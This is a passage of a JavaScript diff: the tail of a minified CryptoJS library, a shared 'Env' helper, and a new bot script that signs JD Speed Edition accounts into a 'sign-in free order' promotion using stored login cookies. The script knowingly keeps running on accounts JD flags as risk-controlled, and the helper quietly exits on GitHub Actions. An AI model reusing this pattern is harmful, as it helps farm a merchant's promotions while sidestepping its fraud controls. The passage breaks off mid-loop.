262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_speed_signfree.js b/jd_speed_signfree.js new file mode 100644 index 0000000..4c3de60 --- /dev/null +++ b/jd_speed_signfree.js @@ -0,0 +1,214 @@ +/* + 入口>京东极速版>首页>签到免单 + 京东极速版,先下单,第二天开始签到 + 18 8,12,20 * * * jd_speed_signfree.js 签到免单 +*/ +const $ = new Env('京东极速版签到免单') +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.message = "\n"; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.mian_dan_list = [] + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + //await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.message += `【京东账号】${$.nickName || $.UserName}\n` + await get_order_ids(cookie) + if ($.mian_dan_list.length > 0) { + for (let i = 0; i < $.mian_dan_list.length; i++) { + const orderId = $.mian_dan_list[i]; + await sign(cookie, orderId); + await $.wait(2000) + } + } + } + } + // notify.sendNotify(`${$.name}`, $.message); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function get_order_ids(cookie) { + return new Promise(resolve => { + try { + $.get({ + url: `https://api.m.jd.com/?functionId=signFreeHome&body=%7B%22linkId%22%3A%22PiuLvM8vamONsWzC0wqBGQ%22%7D&_t=${Date.now()}&appid=activities_platform`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://signfree.jd.com', + 'sec-fetch-dest': 'empty', + 'x-requested-with': 'com.jd.jdlite', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'referer': 'https://signfree.jd.com/?activityId=PiuLvM8vamONsWzC0wqBGQ&lng=107.647085&lat=30.280608&sid=2c81fdcf0d34f67bacc5df5b2a4add6w&un_area=4_134_19915_0', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': cookie + } + }, (err, resp, data) => { + data = JSON.parse(data) + if (data.success == true) { + if (data.data.risk == true) { + console.log("风控用户,继续操作"); + $.message += "风控用户,继续操作\n" + // console.log("风控用户,跳过"); + // $.message += "风控用户,跳过\n" + // resolve() + // return + } + if (!data.data.signFreeOrderInfoList) { + console.log("没有需要签到的商品,请到京东极速版[签到免单]购买商品"); + $.message += "没有需要签到的商品,请到京东极速版[签到免单]购买商品\n" + resolve() + } else { + for (let i = 0; i < data.data.signFreeOrderInfoList.length; i++) { + var respdemo = { "success": true, "code": 0, "errMsg": "success", "data": { "newUser": false, "backRecord": false, "risk": false, "surplusCount": 2, "sumTotalFreeAmount": "0.00", "signFreeOrderInfoList": [{ "id": 472, "productName": "百事可乐 300ml*6瓶", "productImg": "jfs/t1/177052/32/20077/117620/611e1a4cE0065cc54/b19fb6ed2ff59493.jpg", "needSignDays": 20, "hasSignDays": 0, "freeAmount": "6.54", "moneyReceiveMode": "3", "orderId": 225947891472, "surplusTime": 0, "combination": 1 }], "interruptInfoList": null } } + const order = data.data.signFreeOrderInfoList[i]; + 